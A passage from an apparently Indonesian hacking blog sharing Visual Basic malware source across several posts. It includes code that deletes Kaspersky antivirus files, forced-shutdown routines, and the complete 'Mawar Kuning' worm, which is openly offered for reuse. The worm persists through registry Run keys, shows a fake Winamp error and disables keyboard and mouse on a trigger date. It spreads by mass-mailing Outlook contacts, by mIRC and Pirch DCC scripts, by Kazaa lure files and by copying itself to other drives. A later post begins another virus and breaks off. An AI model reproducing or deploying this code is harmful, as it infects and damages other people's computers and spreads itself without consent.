'bunuh antivirus McAfee
If Folder_Exist("C:\Program Files\Kaspersky Lab") = True Then
prog_AntiVir = Array( _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro", _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro\Policy", _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro\Report", _
"C:\Program Files\Kaspersky Lab\Kaspersky Anti-Virus Personal Pro\Infected" _
)
SetAttr "C:\Program Files\Kaspersky Lab", vbNormal

For p = 0 To 3
Kill prog_AntiVir(p) & "\*.exe"
Kill prog_AntiVir(p) & "\*.dll"
Kill prog_AntiVir(p) & "\*.zip"
Kill prog_AntiVir(p) & "\*.vxd"
Kill prog_AntiVir(p) & "\*.*"
Next p
RmDir "C:\Program Files\Kaspersky Lab"
End If



End Sub

Module BUNUH

Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Const WM_CLOSE = &H10



Public Function kick(target As String)
Dim H As Long
Dim T As String * 255
H = GetForegroundWindow
GetWindowText H, T, 255
If InStr(UCase(T), UCase(target)) > 0 Then
SendMessage H, WM_CLOSE, 0, 0
End If
End Function

Module FILE

Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long
Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CreateDirectory Lib "kernel32" Alias "CreateDirectoryA" (ByVal lpPathName As String, lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long
Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Public Declare Function DeleteFile Lib "kernel32.dll" Alias "DeleteFileA" (ByVal lpFileName As String) As Long
Public Declare Function SetFileAttributes Lib "kernel32" Alias "SetFileAttributesA" (ByVal lpFileName As String, ByVal dwFileAttributes As Long) As Long

Public Const FILE_ATTRIBUTE_SYSTEM = &H4
Public Const FILE_ATTRIBUTE_READONLY = &H1
Public Const FILE_ATTRIBUTE_HIDDEN = &H2
Public Const FILE_ATTRIBUTE_DIRECTORY = &H10
Public Const FILE_ATTRIBUTE_ARCHIVE = &H20
Public Const FILE_ATTRIBUTE_NORMAL = &H80

Public Type SHITEMID
cb As Long
abID As Byte
End Type

Public Type ITEMIDLIST
mkid As SHITEMID
End Type

Public Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Enum SFolder
CSIDL_DESKTOP = &H0 'menunjukkan folder virtual yang menyatakan root untuk semua namespace (/Desktop)
CSIDL_PROGRAMS = &H2 'menunjukkan folder sistem yang berisi grup program user (/Programs)
CSIDL_CONTROLS = &H3 'menunjukkan folder virtual yang berisi ikon-ikon aplikasi Control Panel (/Control Panel)
CSIDL_PRINTERS = &H4 'menunukkan folder virtual yang berisi printer-printer yang diinstall (/Printers)
CSIDL_PERSONAL = &H5 'menunjukkan folder sistem yang digunakan untuk menyimpan dokumen umum user (/My Document)
CSIDL_FAVORITES = &H6 'menunjukkan folder yang berisi item-item favorite user (/Favorites)
CSIDL_STARTUP = &H7 'menunjukkan folder yang berisi grup program StartUp user (/Startup)
CSIDL_RECENT = &H8 'menunjukkan folder sistem yang berisi dokumen-dokumen yang sering digunakan (/Recent)
CSIDL_SENDTO = &H9 'menunjukkan folder yang berisi item menu Send To (/Send To)
CSIDL_BITBUCKET = &HA 'menunjukkan folder sistem yang berisi objek file pada RecycleBin user (/Recycle Bin)
CSIDL_STARTMENU = &HB 'menunjukkan folder sistem yang berisi item-item menu Start (/StartMenu)
CSIDL_DESKTOPDIRECTORY = &H10 'menunjukkan folder sistem yang dapatkan digunakan untuk menyimpan objek file secara fisik pada desktop
CSIDL_DRIVES = &H11 'menunjukkan folder yang berisi segala sesuatu pada komputer lokal (/My Computer)
CSIDL_NETWORK = &H12 'menunjukkan folder yang berisi objek link yang kemungkinan ada pda folder virtual My Network Places (/My Network Places)
CSIDL_NETHOOD = &H13 'menunjukkan folder yang menyatakan root dari hierarki namespace network (/NetHood)
CSIDL_FONTS = &H14 'menunjukkan folder yang berisikan font (/FONT)
CSIDL_TEMPLATES = &H15 'menunjukkan folder yang digunakan untuk menyimpan dokumen template (/Template)
End Enum

'Get special folder
Public Function GetSpecialfolder(JenisFolder As SFolder) As String
Dim r As Long
Dim IDL As ITEMIDLIST
'get special folder
r = SHGetSpecialFolderLocation(100, JenisFolder, IDL)
If r = NOERROR Then
'create buffer
Path$ = Space$(512)
'Get path from IDList(IDL)
r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)
'Remove chr$(0)
GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1)
Exit Function
End If
GetSpecialfolder = ""
End Function

'Get System Path
Public Function GetSystemPath() As String

On Error Resume Next
Dim Buffer As String * 255
Dim x As Long
x = GetSystemDirectory(Buffer, 255)
GetSystemPath = Left(Buffer, x) & "\"

End Function

'Get Windows Path
Public Function GetWindowsPath() As String

On Error Resume Next
Dim Buffer As String * 255
Dim x As Long

x = GetWindowsDirectory(Buffer, 255)
GetWindowsPath = Left(Buffer, x) & "\"

End Function

Public Function Folder_Exist(ByVal strFolder As String) As Boolean
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")

If InStr(1, Right$(strFolder, 5), ".") > 0 Then
strFolder = fso.GetParentFolderName(strFolder)
End If

If fso.FolderExists(strFolder) Then
Folder_Exist = True
Else
Folder_Exist = False
End If
Set fso = Nothing

End Function

Module Racuni_Registry

'Registry API
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long

Public Const REG_DWORD = 4

Enum REG
HKEY_CURRENT_USER = &H80000001
HKEY_CLASSES_ROOT = &H80000000
HKEY_CURRENT_CONFIG = &H80000005
HKEY_LOCAL_MACHINE = &H80000002
HKEY_USERS = &H80000003
End Enum

Enum TypeStringValue
REG_SZ = 1
REG_EXPAND_SZ = 2
REG_MULTI_SZ = 7
End Enum

'Create or Set Dword Value Registry
Public Function CreateDwordValue(hKey As REG, Subkey As String, strValueName As String, dwordData As Long) As Long

On Error Resume Next
Dim ret As Long

RegCreateKey hKey, Subkey, ret
CreateDwordValue = RegSetValueEx(ret, strValueName, 0, REG_DWORD, dwordData, 4)
RegCloseKey ret

End Function

Public Function CreateStringValue(hKey As REG, Subkey As String, RTypeStringValue As TypeStringValue, strValueName As String, strData As String) As Long

On Error Resume Next
Dim ret As Long

RegCreateKey hKey, Subkey, ret
CreateStringValue = RegSetValueEx(ret, strValueName, 0, RTypeStringValue, ByVal strData, Len(strData))
RegCloseKey ret

End Function
Public Function DeleteValue(hKey As REG, Subkey As String, lpValName As String) As Long
Dim ret As Long

On Error Resume Next
RegOpenKey hKey, Subkey, ret
DeleteValue = RegDeleteValue(ret, lpValName)
RegCloseKey ret

End Function

Module Restart

Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Public Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As Long
Public Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Public Declare Function GetCurrentProcess Lib "kernel32" () As Long
Public Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (lpVersionInformation As OSVERSIONINFO) As Long

Public Const EWX_FORCE = 4
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Const VER_PLATFORM_WIN32_NT = 2
Public Const ANYSIZE_ARRAY = 1
Public Const TOKEN_ADJUST_PRIVILEGES = &H20
Public Const TOKEN_QUERY = &H8
Public Const SE_PRIVILEGE_ENABLED = &H2

Public Type LUID
LowPart As Long
HighPart As Long
End Type

Public Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type

Public Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type

Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type

'Reboot Windows(Not WinNT)
Public Function Reboot() As Long

'On Error Resume Next
LogOff = ExitWindowsEx(EWX_FORCE Or EWX_REBOOT, 0)

End Function

'Shutdown Windows(Not WinNT)
Public Function Shutdown() As Long

'On Error Resume Next
LogOff = ExitWindowsEx(EWX_FORCE Or EWX_SHUTDOWN, 0)

End Function

'Detection WinNT
Public Function IsWinNT() As Boolean

'On Error Resume Next
Dim myOS As OSVERSIONINFO

myOS.dwOSVersionInfoSize = Len(myOS)
GetVersionEx myOS
IsWinNT = (myOS.dwPlatformId = VER_PLATFORM_WIN32_NT)

End Function

'For Get Privileges from Win NT
Public Sub EnableShutDown()

'On Error Resume Next
Dim hProc As Long
Dim hToken As Long
Dim mLUID As LUID
Dim mPriv As TOKEN_PRIVILEGES
Dim mNewPriv As TOKEN_PRIVILEGES

hProc = GetCurrentProcess()
OpenProcessToken hProc, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY, hToken
LookupPrivilegeValue "", "SeShutdownPrivilege", mLUID
mPriv.PrivilegeCount = 1
mPriv.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
mPriv.Privileges(0).pLuid = mLUID
'Setting Privileges windows NT
AdjustTokenPrivileges hToken, False, mPriv, 4 + (12 * mPriv.PrivilegeCount), mNewPriv, 4 + (12 * mNewPriv.PrivilegeCount)

End Sub


' Reboot For WinNT
Public Sub RebootNT(Force As Boolean)

Dim Flags As Long
Flags = EWX_REBOOT
If Force Then Flags = Flags + EWX_FORCE
If IsWinNT Then EnableShutDown
ExitWindowsEx Flags, 0

End Sub

' Shutdown For WinNT
Public Sub ShutdownNT(Force As Boolean)

Dim Flags As Long
Flags = EWX_SHUTDOWN
If Force Then Flags = Flags + EWX_FORCE
If IsWinNT Then EnableShutDown
ExitWindowsEx Flags, 0

End Sub

Diposting oleh baracrack di Rabu, April 02, 2008 0 komentar  

Worm Mawar Kuning

Salam VB Coders,
Aq ingin ngasih tau contoh dasar pembuatan worm yang menginfeksi Kazaa,
Pirch,MIRC,dan Microsoft Outlook buat saling mempropagandain sendiri,
worm ini bisa dipake kok…
Tutorial ini aq kasih nama "Mawar Kuning",namanya jangan sama ya.. kalo mau di pake and dirubah Oke..
Ini Infeksinya :
1. Akan mengcopy di C:%System%\Winamp.exe
2. Mendaftarkan dirinya di register di :
$HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\Swf32="C:%System%\Winamp.exe"' supaya bisa aktif kalo kumpoter di nyala in..
$HKEY_CLASSES_ROOT\scrfile\shell\open\command\="C:%System%\winamp.exe"',
3. Nampilin error : Winamp error, please reinstall !' saat virus di jalanin
4. akan mengcopy ke folder startup jadi bisa aktif terus
5. Mengcopy juga ke %Windows%, %System% and %Temp% folders dengan nama 'Jdbgmgr.exe'
Ini di lakukan supaya ada backupan worm.
6. mengirim email ke semua daftar alamat email yang ada di address book
7. Worm ini akan berusaha menyebarkan dirinya melalui Mirc, Pirch and Kazaa
8. Oo..h iya..,aq enggak tau nyebarin melaui E-mail bekerja apa enggak di komputer laen,masalahnya di komputer aq jalan,kasih tau aq yah.. sapa tau aja jalan ? ! ?
9. dan sebagainya, di coba yah..

Kalo mau ngebuatnya yang dibutuhin cuman Form kosong aja kok, gak ada komponen laennya and tinggal di masukin aja Codingnya .

NB : Aq gunain statement Print -> 6.02x10^23,

Ini Codingnya :

Code:
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long 'Objeck CD Tray (Supaya worm bisa buka CD Tray)
Private Sub Form_Load()
On Error Resume Next
' -------------------------------------------------------------------------------------
Dim AppPath As String
AppPath = App.Path
If Right(AppPath, 1) <> "\" Then AppPath = AppPath & "\" ' cari tempat negcopy :)
Set fso = CreateObject("Scripting.FileSystemObject") ' Cari tempat di direktori %Windows%, %System% atau %Temp%.
Set wsc = CreateObject("WScript.Shell") ' Copy ke Folder %Startup% , dan tulis di register.
WormMawarkuning = AppPath & App.EXEName & ".EXE" ' Copy format .exe.
' -------------------------------------------------------------------------------------
If Dir(fso.GetSpecialFolder(1) & "\Winamp.exe") <> "Winamp.exe" Then ' Periksa apa worm udah di Copy.
FileCopy WormMawarkuning, fso.GetSpecialFolder(1) & "\Winamp.exe" ' Kalo worm belum di copy,yah.. di copy lagi dunks... :)
wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\Winamp", fso.GetSpecialFolder(1) & "\Winamp.exe" ' Tulis ke Register supaya worm bisa terus di jalan in.
wsc.RegWrite "HKEY_CLASSES_ROOT\scrfile\shell\open\command\", fso.GetSpecialFolder(1) & "\Winamp.exe" ' Tulis ke Register,terus mengesampingkan perintah Screen Server di Dekstop,supaya menghemat daya yang di gunain di Svreen Server, dan sebagai gantinya yah.. worm ini lah...
MsgBox "Winamp Error,Please Reinstal....!", vbCritical, "Error" ' Kirim pesan palsu :)
Else
If Day(Now) = 16 Then 'infeksi pada tanggal 16 :)
MsgBox "Compact-Disc Terinfeksi", vbSystemModal + vbExclamation, "Mawar Kuning By Shadow Angel"
mciSendString "Set CDAudio Door Open Wait", 0&, 0&, 0& ' Buka CD Tray :)
wsc.Run "Rundll32.exe Keyboard,Disable" ' Disable keyboard
wsc.Run "Rundll32.exe Mouse,Disable" ' Disable mouse
wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\MawarKuning_Keyboard", "Rundll32.exe Keyboard,Disable" ' Disable Keyboard di Register,jadi Keyboard akan tetap enggak jalan sebelum Value di Register di Hapus.
wsc.RegWrite "HKEY_LOCAL_MACHINE\Software\Mcft\Windows\CurrentVersion\RunServices\MawarKuning_Mouse", "Rundll32.exe Mouse,Disable" ' Sama seperti Keyboard,Mouse akan tetap disable sebelum Value di Register di Hapus.
End If
End If
' -------------------------------------------------------------------------------------
If Dir(wsc.SpecialFolders("Startup") & "\MawarKuning.exe") <> "MawarKuning.exe" Then 'Copy ke Folder StartUp
FileCopy WormMawarkuning, wsc.SpecialFolders("Startup") & "\MawarKuning.exe" ' Kalo worm enggak ada di folder StartUp, Yah.. copy lagi.. lagi.. dan lagi.. sampe bosen :)
End If
' -------------------------------------------------------------------------------------
FileCopy WormMawarkuning, fso.GetSpecialFolder(0) & "\Jdbgmgr.exe"
FileCopy WormMawarkuning, fso.GetSpecialFolder(1) & "\Jdbgmgr.exe" ' buat BackUp Worm ,dan copy ulang file Jdbgmgr.exe :)
FileCopy WormMawarkuning, fso.GetSpecialFolder(2) & "\Jdbgmgr.exe"
' -------------------------------------------------------------------------------------
If Dir(fso.GetSpecialFolder(1) & "\Mawar Kuning.txt") <> "Mawar Kuning.txt" Then ' kirim worm ke alamat yang ada di Address Book di Microsoft Outlook.
Set OutlookApp = CreateObject("Outlook.Application")
Set GNS = OutlookApp.GetNameSpace("MAPI")
For List1 = 1 To GNS.AddressLists.Count
CountLoop = 1
For ListCount = 1 To GNS.AddressLists(List1).AddressEntries.Count
Set OutlookEmail = OutlookApp.CreateItem(0)
OutlookEmail.Recipients.Add (GNS.AddressLists(List1).AddressEntries(CountLoop))
Randomize
RndNumber = Int((6 * Rnd) + 1)
Select Case RndNumber
Case 1: RndText = "Kamu udah Lihat Gambar Mawar Kuning lagi Mekar;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 2: RndText = "Ada Video,Mawar Kuning lagi Mekar di pagi hari loh....." & vbCrLf _
& "Balas E-mail aku ya.. supaya aku tahu kamu suka apa enggak,Oke..;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 3: RndText = "Kamu sudah punya video Mawar Kuning Lagi Mekar Di Pagi Hari, Aku tahu kamu suka Video ini,;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 4: RndText = "Kamu sudah lihat belum,Video sepasang kekasih duduk dikelilingi Mawar kuning..." & vbCrLf _
& "Aku tahu kamu pasti suka;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 5: RndText = "Apa pendapat kamu tentang Video Mawar kuning ?" & vbCrLf _
& "Kirim e-mail ke aku yah.. aku ingin tahu pendapat kamu;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
Case 6: RndText = "Nonton video Mawar kuning,kamu pasti suka;)" & vbCrLf _
& "" & vbCrLf _
& "Sampai Jumpa."
End Select
OutlookEmail.Subject = "Salam Kenal!"
OutlookEmail.Body = RndText
OutlookEmail.Attachments.Add (fso.GetSpecialFolder(1) & "\MawarKuning.exe")
OutlookEmail.DeleteAfterSubmit = True
OutlookEmail.Importance = 2
OutlookEmail.Send
CountLoop = CountLoop + 1
Next
Next
End If
' -------------------------------------------------------------------------------------
Open fso.GetSpecialFolder(1) & "\Mawar Kuning.txt" For Output As 1
Print #1, "MawarKuning by Shadow Angel"
Close 1
' -------------------------------------------------------------------------------------
If Dir("C:\Mirc32\Mirc.ini") = "Mirc.ini" Then mIRCPath = "C:\Mirc32" ' Cari Mirc
If Dir("C:\Mirc\Mirc.ini") = "Mirc.ini" Then mIRCPath = "C:\Mirc"
If Dir(wsc.SpecialFolders("Programs") & "\Mirc\Mirc.ini") = "Mirc.ini" Then mIRCPath = wsc.SpecialFolders("Programs") & "\Mirc"
If Dir(wsc.SpecialFolders("Programs") & "\Mirc32\Mirc.ini") = "Mirc.ini" Then mIRCPath = wsc.SpecialFolders("Programs") & "\Mirc32"
If mIRCPath <> "" Then ' Jika Mirc di instal atau ada di komputer worm akan mengEdit : Script.ini :)
' -------------------------------------------------------------------------------------
If Dir(mIRCPath & "\Mawar.ex_") <> "Mawar.ex_" Then
FileCopy WormMawarkuning, mIRCPath & "\Mawar.ex_"
End If
' -------------------------------------------------------------------------------------
Open mIRCPath & "\script.ini" For Output As 2
Print #2, "[script]"
Print #2, "n5= on 1:JOIN:#:{"
Print #2, "n6= /if ( $nick == $me ) { halt }"
Print #2, "n7= /msg $nick Kamu sudah lihat Film Mawar Kuning;) - Kalo filmnya enggak jalan ganti nama filenya menjadi MawarKuning.exe"
Print #2, "n8= /dcc send -c $nick " & mIRCPath & "\Mawar.ex_"
Print #2, "n9= }"
Close 2
End If
' -------------------------------------------------------------------------------------
If Dir("C:\Pirch32\Pirch32.exe") = "Pirch32.exe" Then PirchPath = "C:\Pirch32" ' Cari Folder Pirch
If Dir("C:\Pirch\Pirch32.exe") = "Pirch32.exe" Then PirchPath = "C:\Pirch"
If Dir(wsc.SpecialFolders("Programs") & "\Pirch\Pirch32.exe") = "Pirch32.exe" Then PirchPath = wsc.SpecialFolders("Programs") & "\Pirch"
If Dir(wsc.SpecialFolders("Programs") & "\Pirch32\Pirch32.exe") = "Pirch32.exe" Then PirchPath = wsc.SpecialFolders("Programs") & "\Pirch32"
' -------------------------------------------------------------------------------------
If PirchPath <> "" Then ' Kalo Pirch di instal di komputer atau ada di komputer maka worm akan mengEdit file : Events.ini :)
' -------------------------------------------------------------------------------------
If Dir(PirchPath & "\Mawar.ex_") <> "Mawar.ex_" Then
FileCopy WormMawarkuning, PirchPath & "\Mawar.ex_"
End If
' -------------------------------------------------------------------------------------
Open PirchPath & "\events.ini" For Output As 3
Print #3, "[Levels]"
Print #3, "Enabled=1"
Print #3, "Count=6"
Print #3, "Level1=000-Unknowns"
Print #3, "000-UnknownsEnabled=1"
Print #3, "Level2=100-Level 100"
Print #3, "100-Level 100Enabled=1"
Print #3, "Level3=200-Level 200"
Print #3, "200-Level 200Enabled=1"
Print #3, "Level4=300-Level 300"
Print #3, "300-Level 300Enabled=1"
Print #3, "Level5=400-Level 400"
Print #3, "400-Level 400Enabled=1"
Print #3, "Level6=500-Level 500"
Print #3, "500-Level 500Enabled=1"
Print #3, ""
Print #3, "[000-Unknowns]"
Print #3, "UserCount=0"
Print #3, "Event1=ON JOIN:#:/msg $nick Kamu sudah lihat Film Mawar Kuning;) - Kalo filmnya enggak jalan ganti nama filenya menjadi MawarKuning.exe"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[100-Level 100]"
Print #3, "User1=*!*@*"
Print #3, "UserCount=1"
Print #3, "Event1=ON JOIN:#:/dcc send $nick " & PirchPath & "\Mawar.ex_"
Print #3, "EventCount=1"
Print #3, ""
Print #3, "[200-Level 200]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[300-Level 300]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[400-Level 400]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Print #3, ""
Print #3, "[500-Level 500]"
Print #3, "UserCount=0"
Print #3, "EventCount=0"
Close 3
End If
' -------------------------------------------------------------------------------------
If Dir("C:\Kazaa\Kazaa.exe") = "Kazaa.exe" Or Dir(wsc.SpecialFolders("Programs") & "\Kazaa\Kazaa.exe") = "Kazaa.exe" Then ' Periksa apa Kazaa di instal/ada di komputer.
MkDir fso.GetSpecialFolder(1) & "\KazaaShared" ' Kalo Kazaa ada dikomputer,maka worm akan membuat folder tersembunyi :)
KazaaShared = fso.GetSpecialFolder(1) & "\KazaaShared\"
FileCopy WormMawarkuning, KazaaShared & "Tangisan Berdarah.exe"
FileCopy WormMawarkuning, KazaaShared & "Video Mawar Kuning.exe"
FileCopy WormMawarkuning, KazaaShared & "Shadow_Angel.exe"
FileCopy WormMawarkuning, KazaaShared & "Winamp.exe"
FileCopy WormMawarkuning, KazaaShared & "XXX video.exe"
FileCopy WormMawarkuning, KazaaShared & "Superman.exe"
FileCopy WormMawarkuning, KazaaShared & "Tukul.exe"
FileCopy WormMawarkuning, KazaaShared & "My computer.exe"
FileCopy WormMawarkuning, KazaaShared & "ARCADE POOL II.exe"
FileCopy WormMawarkuning, KazaaShared & "Tutorial Hacking.exe"
FileCopy WormMawarkuning, KazaaShared & "MacroMedia Flash 6.0.exe"
FileCopy WormMawarkuning, KazaaShared & "Zuma.exe"
FileCopy WormMawarkuning, KazaaShared & "Microsoft Word.exe"
FileCopy WormMawarkuning, KazaaShared & "Lesbian.exe"
FileCopy WormMawarkuning, KazaaShared & "[SWF] - Jurassic Park 3.exe"
FileCopy WormMawarkuning, KazaaShared & App.EXEName & ".exe"
wsc.RegWrite "HKEY_CURRENT_USER\Software\Kazaa\Transfer\DlDir1", fso.GetSpecialFolder(1) & "\KazaaShared" ' Folder tersembunyinya tulis di Register :)
End If
' -------------------------------------------------------------------------------------
For Each dc In fso.Drives ' Infeksi Driver.
If dc.DriveType = 2 Or dc.DriveType = 3 Then
If UCase(dc.Path) <> "C:" Then
If dc.IsReady Then
If Dir(dc.Path & "\Winamp.exe") <> "Winamp.exe" Then 'Periksa apa worm terCopy.
FileCopy WormMawarkuning, dc.Path & "\Winamp.exe" ' Kalo gak ada Copy Lagi..:)
End If
End If
End If
End If
Next
wsc.RegWrite "HKEY_CURRENT_USER\Software\MawarKuning\1.0\", "MawarKuning by Shadow Angel"
' -------------------------------------------------------------------------------------
End Sub

Diposting oleh baracrack di Rabu, April 02, 2008 0 komentar  

virus flu ikan

Attribute VB_Name = "BacaFile"
Option Explicit
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const INVALID_HANDLE_VALUE = -1
Private Const MAX_PATH = 260

Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type

Private Type SYSTEMTIME
wYear As Integer
wMonth As Integer
wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliseconds As Integer
End Type

Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type

Private Declare Function FindClose Lib "kernel32" _
(ByVal hFindFile As Long) As Long

Private Declare Function FindFirstFile Lib "kernel32" _
Alias "FindFirstFileA" (ByVal lpFileName As String, _
lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FileTimeToSystemTime Lib "kernel32" _
(lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As Long

Private Declare Function GetFileAttributes Lib "kernel32" _
Alias "GetFileAttributesA" (ByVal lpFileName As String) As Long

Private Declare Function GetShortPathName Lib "kernel32" _
Alias "GetShortPathNameA" (ByVal lpszLongPath As String, _
ByVal lpszShortPath As String, ByVal cchBuffer As Long) _
As Long

Private Declare Sub GetSystemTime Lib "kernel32" _
(lpSystemTime As SYSTEMTIME)

Public Function FileAttributes(ByVal strFilename As String) _
As String

Dim lngFileAttributes As Long
Dim strFileAttributeFlags As String
If Not FileExists(strFilename) Then
Exit Function
End If
lngFileAttributes = GetFileAttributes(strFilename)
If lngFileAttributes And FILE_ATTRIBUTE_DIRECTORY Then
strFileAttributeFlags = strFileAttributeFlags + "D"
End If
If lngFileAttributes And FILE_ATTRIBUTE_ARCHIVE Then
strFileAttributeFlags = strFileAttributeFlags + "A"
End If
If lngFileAttributes And FILE_ATTRIBUTE_SYSTEM Then
strFileAttributeFlags = strFileAttributeFlags + "S"
End If
If lngFileAttributes And FILE_ATTRIBUTE_HIDDEN Then
strFileAttributeFlags = strFileAttributeFlags + "H"
End If
If lngFileAttributes And FILE_ATTRIBUTE_READONLY Then
strFileAttributeFlags = strFileAttributeFlags + "R"
End If
FileAttributes = strFileAttributeFlags
End Function

Public Function FileCreated(ByVal strFilename As String) As Date
Dim datFileCreationDate As Date
Dim lngFileHandle As Long
Dim udtSystemTime As SYSTEMTIME
Dim udtWinFindData As WIN32_FIND_DATA
If Not FileExists(strFilename) Then
Exit Function
End If
lngFileHandle = FindFirstFile(strFilename, udtWinFindData)
Call FileTimeToSystemTime(udtWinFindData.ftCreationTime, udtSystemTime)
datFileCreationDate = DateSerial(udtSystemTime.wYear, udtSystemTime.wMonth, udtSystemTime.wDay) + TimeSerial(udtSystemTime.wHour + AdjustTimeForLocalSettings, udtSystemTime.wMinute, udtSystemTime.wSecond)
FileCreated = datFileCreationDate
Call FindClose(lngFileHandle)
End Function

Public Function FileLastAccessed(ByVal strFilename As String) As Date
Dim datFileCreationDate As Date
Dim lngFileHandle As Long
Dim udtSystemTime As SYSTEMTIME
Dim udtWinFindData As WIN32_FIND_DATA
If Not FileExists(strFilename) Then
Exit Function
End If
lngFileHandle = FindFirstFile(strFilename, udtWinFindData)
Call FileTimeToSystemTime(udtWinFindData.ftLastAccessTime, udtSystemTime)
datFileCreationDate = DateSerial(udtSystemTime.wYear, udtSystemTime.wMonth, udtSystemTime.wDay) + TimeSerial(udtSystemTime.wHour + AdjustTimeForLocalSettings, udtSystemTime.wMinute, udtSystemTime.wSecond)
